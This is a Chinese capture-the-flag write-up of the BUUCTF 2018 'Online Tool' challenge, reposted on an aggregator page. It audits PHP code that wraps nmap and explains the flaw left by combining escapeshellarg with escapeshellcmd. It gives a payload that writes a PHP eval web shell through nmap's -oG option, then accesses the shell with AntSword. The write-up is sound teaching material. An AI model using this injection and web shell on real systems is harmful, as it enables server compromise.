当前位置: 首页 > news >正文

web:[BUUCTF 2018]Online Tool

题目

打开页面显示如下,进行代码审计

上述代码主要功能是接收‘host’参数,后使用nmap扫描主机端口

首先检查是否存在HTTP_X_FORWARDED_FOR头,若存在,将值赋值给EMOTE_ADDR,是为了跟踪用户真实的IP地址

后用检查get‘host’是否设置,如果没有就会用highlight_file(FILE)函数,高亮显示代码

若设置了,host的值会被存储到变量$host中,然后将escapeshellarg函数会对其进行转义处理,以防止注入攻击。然后,生成一个基于远程ip地址的md5散列值,将其作为沙箱目录的名称,并切换到这个目录下:

$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);  
echo 'you are in sandbox '.$sandbox;  
@mkdir($sandbox);  
chdir($sandbox);

代码首先使用远程IP地址($_SERVER['REMOTE_ADDR'])和一个固定字符串("glzjin")生成一个MD5散列值,并将其存储在变量$sandbox中。接着,它输出一个包含这个散列值的消息("you are in sandbox"),然后创建(mkdir)一个以这个散列值为名称的目录,并切换(chdir)到这个新创建的目录下。

注意,这段代码使用了@mkdirchdir函数,并且在mkdir函数中使用了错误抑制运算符(@),这意味着如果在尝试创建目录时遇到错误,错误信息会被抑制,不会在页面上显示出来

最后,nmap命令扫描指定主机。

经过上述代码审计可以发现,最后一句echo system的语句就是可以进行恶意攻击的点,system执行一条nmap命令在后面拼接上$host的内容,而$host是变量可控的,可以想到使用&&执行多条命令,但是代码中存在对host的过滤:escapeshellarg和escapeshellcmd两个函数

经过escapeshellcmd函数的处理后大部分命令都会被转义,但是当escapeshellagr()和escapeshellcmd()函数共同使用时就会产生逻辑漏洞

(这里参考大佬的本地测试进行理解[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客)

可以利用这点进行恶意语句插入,但&&、||等逻辑符号都会被转义,只能使用nmap命令“-oG”进行写文件

构造payload

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

 

写入文件成功,接下来访问写入的文件,由代码审计可得,文件再$sandbox目录下

http://0b956188-ef3b-4720-9677-f6fe215a57f4.node4.buuoj.cn:81/6b17d6cfb6c6a0721adf2f0de6dac5bc/hack.php

然后使用蚁剑连接

 得到flag

参考文章链接:

[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客

http://www.lryc.cn/news/233193.html

相关文章:

  • 决策树的Boosting策略是什么
  • SQL Server中substring的用法
  • vscode设置latex
  • Django模板层
  • TP_Link WR886N 硬改闪存16M内存64M,刷入openwrt
  • websocket详解
  • 可以免费使用的设计素材网站分享
  • workman使用手册1.0
  • Cesium深入浅出之自定义材质
  • Appium移动自动化测试--安装Appium
  • 前端学习笔记--ES6
  • 冥想第九百七十八天
  • Maven分离资源文件
  • Linux CentOS 8(MariaDB概述)
  • 简述几个我们对Redis 7开源社区所做的贡献
  • 产品卖点怎么写,如何打造卖点?
  • 跟李沐学AI-深度学习课程00-03【预告、课程安排、深度学习介绍、安装】
  • C++ this 指针 面试
  • 虚拟机上安装docker,并安装flink镜像
  • 【计算机网络】P1 计算机网络概述
  • 003 OpenCV filter2D
  • 轻松玩转华为MateX5分屏功能,乐趣层出不穷!
  • springboot引入redisson分布式锁及原理
  • Linux驱动开发 问题随笔
  • 三分/01分数规划
  • 大批卖家产品被下架!Temu又有新动作?
  • STM32 LL库 TIM3定时器多通道捕获输入采集
  • 如何为初创企业选择合适的 ERP 系统?
  • jssip contact的随机字符串的问题
  • 别再吐槽大学教材了,来看看这些网友强推的数学神作!